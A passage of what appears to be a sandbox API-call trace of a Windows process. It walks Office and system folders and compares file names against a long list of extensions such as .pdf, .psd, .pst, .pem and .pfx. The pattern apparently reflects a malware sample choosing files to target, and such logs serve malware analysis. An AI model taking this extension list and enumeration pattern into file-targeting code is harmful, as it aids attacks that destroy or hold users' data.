lpString2="0.dll") returned -1 [0251.235] lstrlenW (lpString=".dot") returned 4 [0251.235] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0251.235] lstrlenW (lpString=".dotm") returned 5 [0251.236] lstrcmpiW (lpString1=".dotm", lpString2="0.dll") returned -1 [0251.236] lstrlenW (lpString=".dotx") returned 5 [0251.236] lstrcmpiW (lpString1=".dotx", lpString2="0.dll") returned -1 [0251.236] lstrlenW (lpString=".dpx") returned 4 [0251.236] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0251.236] lstrlenW (lpString=".dqy") returned 4 [0251.236] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0251.236] lstrlenW (lpString=".dsn") returned 4 [0251.236] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0251.236] lstrlenW (lpString=".dt") returned 3 [0251.236] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0251.236] lstrlenW (lpString=".dtd") returned 4 [0251.236] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0251.236] lstrlenW (lpString=".dwg") returned 4 [0251.236] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0251.236] lstrlenW (lpString=".dwt") returned 4 [0251.236] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0251.236] lstrlenW (lpString=".dx") returned 3 [0251.236] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0251.236] lstrlenW (lpString=".dxf") returned 4 [0251.236] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0251.236] lstrlenW (lpString=".edml") returned 5 [0251.236] lstrcmpiW (lpString1=".edml", lpString2="0.dll") returned -1 [0251.236] lstrlenW (lpString=".efd") returned 4 [0251.236] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0251.236] lstrlenW (lpString=".elf") returned 4 [0251.236] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0251.236] lstrlenW (lpString=".emf") returned 4 [0251.236] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".emz") returned 4 [0251.237] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".epf") returned 4 [0251.237] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".eps") returned 4 [0251.237] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".epsf") returned 5 [0251.237] lstrcmpiW (lpString1=".epsf", lpString2="0.dll") returned -1 [0251.237] lstrlenW (lpString=".epsp") returned 5 [0251.237] lstrcmpiW (lpString1=".epsp", lpString2="0.dll") returned -1 [0251.237] lstrlenW (lpString=".erf") returned 4 [0251.237] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".exr") returned 4 [0251.237] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".f4v") returned 4 [0251.237] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".fido") returned 5 [0251.237] lstrcmpiW (lpString1=".fido", lpString2="0.dll") returned -1 [0251.237] lstrlenW (lpString=".flm") returned 4 [0251.237] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".flv") returned 4 [0251.237] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".frm") returned 4 [0251.237] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".fxg") returned 4 [0251.237] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".geo") returned 4 [0251.237] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0251.237] lstrlenW (lpString=".gif") returned 4 [0251.238] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0251.238] lstrlenW (lpString=".grs") returned 4 [0251.267] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0251.267] lstrlenW (lpString=".gz") returned 3 [0251.267] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0251.267] lstrlenW (lpString=".h") returned 2 [0251.267] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0251.267] lstrlenW (lpString=".hdr") returned 4 [0251.267] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0251.267] lstrlenW (lpString=".hpp") returned 4 [0251.267] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0251.267] lstrlenW (lpString=".hta") returned 4 [0251.267] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0251.267] lstrlenW (lpString=".htc") returned 4 [0251.267] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0251.267] lstrlenW (lpString=".htm") returned 4 [0251.267] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0251.267] lstrlenW (lpString=".html") returned 5 [0251.267] lstrcmpiW (lpString1=".html", lpString2="0.dll") returned -1 [0251.267] lstrlenW (lpString=".icb") returned 4 [0251.267] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0251.267] lstrlenW (lpString=".ics") returned 4 [0251.267] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0251.267] lstrlenW (lpString=".iff") returned 4 [0251.267] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0251.267] lstrlenW (lpString=".inc") returned 4 [0251.268] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0251.268] lstrlenW (lpString=".indd") returned 5 [0251.268] lstrcmpiW (lpString1=".indd", lpString2="0.dll") returned -1 [0251.268] lstrlenW (lpString=".ini") returned 4 [0251.268] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0251.268] lstrlenW (lpString=".iqy") returned 4 [0251.268] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0251.268] lstrlenW (lpString=".j2c") returned 4 [0251.268] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0251.268] lstrlenW (lpString=".j2k") returned 4 [0251.268] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0251.268] lstrlenW (lpString=".java") returned 5 [0251.268] lstrcmpiW (lpString1=".java", lpString2="0.dll") returned -1 [0251.268] lstrlenW (lpString=".jp2") returned 4 [0251.268] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0251.268] lstrlenW (lpString=".jpc") returned 4 [0251.268] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0251.269] lstrlenW (lpString=".jpe") returned 4 [0251.269] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0251.269] lstrlenW (lpString=".jpeg") returned 5 [0251.269] lstrcmpiW (lpString1=".jpeg", lpString2="0.dll") returned -1 [0251.269] lstrlenW (lpString=".jpf") returned 4 [0251.269] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0251.269] lstrlenW (lpString=".jpg") returned 4 [0251.269] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.446] lstrlenW (lpString=".jpx") returned 4 [0251.446] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0251.446] lstrlenW (lpString=".js") returned 3 [0251.446] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0251.446] lstrlenW (lpString=".jsf") returned 4 [0251.446] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0251.446] lstrlenW (lpString=".json") returned 5 [0251.446] lstrcmpiW (lpString1=".json", lpString2="0.dll") returned -1 [0251.446] lstrlenW (lpString=".jsp") returned 4 [0251.446] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0251.446] lstrlenW (lpString=".kdc") returned 4 [0251.446] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".kmz") returned 4 [0251.447] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".kwm") returned 4 [0251.447] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".lasso") returned 6 [0251.447] lstrcmpiW (lpString1=".lasso", lpString2="00.dll") returned -1 [0251.447] lstrlenW (lpString=".lbi") returned 4 [0251.447] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".lgf") returned 4 [0251.447] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".lgp") returned 4 [0251.447] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".log") returned 4 [0251.447] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".m1v") returned 4 [0251.447] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".m4a") returned 4 [0251.447] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".m4v") returned 4 [0251.447] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".max") returned 4 [0251.447] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".md") returned 3 [0251.447] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0251.447] lstrlenW (lpString=".mda") returned 4 [0251.447] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0251.447] lstrlenW (lpString=".mdb") returned 4 [0251.447] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mde") returned 4 [0251.448] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mdf") returned 4 [0251.448] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mdw") returned 4 [0251.448] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mef") returned 4 [0251.448] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mft") returned 4 [0251.448] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mfw") returned 4 [0251.448] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mht") returned 4 [0251.448] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mhtml") returned 6 [0251.448] lstrcmpiW (lpString1=".mhtml", lpString2="00.dll") returned -1 [0251.448] lstrlenW (lpString=".mka") returned 4 [0251.448] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mkidx") returned 6 [0251.448] lstrcmpiW (lpString1=".mkidx", lpString2="00.dll") returned -1 [0251.448] lstrlenW (lpString=".mkv") returned 4 [0251.448] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mos") returned 4 [0251.448] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0251.448] lstrlenW (lpString=".mov") returned 4 [0251.448] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".mp3") returned 4 [0251.449] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".mp4") returned 4 [0251.449] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".mpeg") returned 5 [0251.449] lstrcmpiW (lpString1=".mpeg", lpString2="0.dll") returned -1 [0251.449] lstrlenW (lpString=".mpg") returned 4 [0251.449] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".mpv") returned 4 [0251.449] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".mrw") returned 4 [0251.449] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".msg") returned 4 [0251.449] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".mxl") returned 4 [0251.449] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".myd") returned 4 [0251.449] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".myi") returned 4 [0251.449] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".nef") returned 4 [0251.449] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".nrw") returned 4 [0251.449] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".obj") returned 4 [0251.449] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0251.449] lstrlenW (lpString=".odb") returned 4 [0251.450] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0251.450] lstrlenW (lpString=".odc") returned 4 [0251.450] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0251.450] lstrlenW (lpString=".odm") returned 4 [0251.450] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0251.450] lstrlenW (lpString=".odp") returned 4 [0251.450] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0251.450] lstrlenW (lpString=".ods") returned 4 [0251.450] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0251.450] lstrlenW (lpString=".oft") returned 4 [0251.450] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0251.450] lstrlenW (lpString=".one") returned 4 [0251.450] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0251.450] lstrlenW (lpString=".onepkg") returned 7 [0251.450] lstrcmpiW (lpString1=".onepkg", lpString2="100.dll") returned -1 [0251.450] lstrlenW (lpString=".onetoc2") returned 8 [0251.450] lstrcmpiW (lpString1=".onetoc2", lpString2="l100.dll") returned -1 [0251.450] lstrlenW (lpString=".opt") returned 4 [0251.450] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0251.450] lstrlenW (lpString=".oqy") returned 4 [0251.450] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0251.450] lstrlenW (lpString=".orf") returned 4 [0251.450] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0251.450] lstrlenW (lpString=".p12") returned 4 [0251.450] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".p7b") returned 4 [0251.451] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".p7c") returned 4 [0251.451] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pam") returned 4 [0251.451] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pbm") returned 4 [0251.451] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pct") returned 4 [0251.451] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pcx") returned 4 [0251.451] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pdd") returned 4 [0251.451] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pdf") returned 4 [0251.451] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pdp") returned 4 [0251.451] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pef") returned 4 [0251.451] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pem") returned 4 [0251.451] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pff") returned 4 [0251.451] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pfm") returned 4 [0251.451] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0251.451] lstrlenW (lpString=".pfx") returned 4 [0251.452] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0251.452] lstrlenW (lpString=".pgm") returned 4 [0251.452] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0251.452] lstrlenW (lpString=".php") returned 4 [0251.452] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0251.452] lstrlenW (lpString=".php3") returned 5 [0251.452] lstrcmpiW (lpString1=".php3", lpString2="0.dll") returned -1 [0251.452] lstrlenW (lpString=".php4") returned 5 [0251.452] lstrcmpiW (lpString1=".php4", lpString2="0.dll") returned -1 [0251.452] lstrlenW (lpString=".php5") returned 5 [0251.452] lstrcmpiW (lpString1=".php5", lpString2="0.dll") returned -1 [0251.452] lstrlenW (lpString=".phtml") returned 6 [0251.452] lstrcmpiW (lpString1=".phtml", lpString2="00.dll") returned -1 [0251.452] lstrlenW (lpString=".pict") returned 5 [0251.452] lstrcmpiW (lpString1=".pict", lpString2="0.dll") returned -1 [0251.452] lstrlenW (lpString=".pl") returned 3 [0251.452] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0251.452] lstrlenW (lpString=".pls") returned 4 [0251.452] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0251.452] lstrlenW (lpString=".pm") returned 3 [0251.452] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0251.452] lstrlenW (lpString=".png") returned 4 [0251.452] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0251.452] lstrlenW (lpString=".pnm") returned 4 [0251.452] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0251.452] lstrlenW (lpString=".pot") returned 4 [0251.452] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0251.453] lstrlenW (lpString=".potm") returned 5 [0251.453] lstrcmpiW (lpString1=".potm", lpString2="0.dll") returned -1 [0251.453] lstrlenW (lpString=".potx") returned 5 [0251.453] lstrcmpiW (lpString1=".potx", lpString2="0.dll") returned -1 [0251.453] lstrlenW (lpString=".ppa") returned 4 [0251.453] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0251.453] lstrlenW (lpString=".ppam") returned 5 [0251.453] lstrcmpiW (lpString1=".ppam", lpString2="0.dll") returned -1 [0251.453] lstrlenW (lpString=".ppm") returned 4 [0251.453] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0251.453] lstrlenW (lpString=".pps") returned 4 [0251.453] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0251.453] lstrlenW (lpString=".ppsm") returned 5 [0251.453] lstrcmpiW (lpString1=".ppsm", lpString2="0.dll") returned -1 [0251.453] lstrlenW (lpString=".ppt") returned 4 [0251.453] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.453] lstrlenW (lpString=".pptm") returned 5 [0251.453] lstrcmpiW (lpString1=".pptm", lpString2="0.dll") returned -1 [0251.453] lstrlenW (lpString=".pptx") returned 5 [0251.453] lstrcmpiW (lpString1=".pptx", lpString2="0.dll") returned -1 [0251.453] lstrlenW (lpString=".prn") returned 4 [0251.453] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0251.453] lstrlenW (lpString=".ps") returned 3 [0251.453] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0251.453] lstrlenW (lpString=".psb") returned 4 [0251.453] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0251.453] lstrlenW (lpString=".psd") returned 4 [0251.454] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0251.454] lstrlenW (lpString=".pst") returned 4 [0251.454] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0251.454] lstrlenW (lpString=".ptx") returned 4 [0251.454] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0251.454] lstrlenW (lpString=".pub") returned 4 [0251.454] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0251.454] lstrlenW (lpString=".pwm") returned 4 [0251.454] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0251.454] lstrlenW (lpString=".pxr") returned 4 [0251.454] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0251.454] lstrlenW (lpString=".py") returned 3 [0251.454] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0251.454] lstrlenW (lpString=".qt") returned 3 [0251.454] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0251.454] lstrlenW (lpString=".r3d") returned 4 [0251.454] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0251.454] lstrlenW (lpString=".raf") returned 4 [0251.454] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0251.454] lstrlenW (lpString=".rar") returned 4 [0251.454] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.455] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140deu.dll", cAlternateFileName="MFC140~3.DLL")) returned 1 [0251.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0251.459] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1 [0251.800] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0251.800] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0251.801] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0251.801] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0251.801] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0251.801] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0251.801] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0 [0251.801] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0251.802] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0251.802] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1 [0251.802] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0251.802] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0251.802] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0251.802] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0251.802] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1 [0251.802] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0251.802] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0251.802] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0251.802] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0251.802] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1 [0251.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0251.803] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, 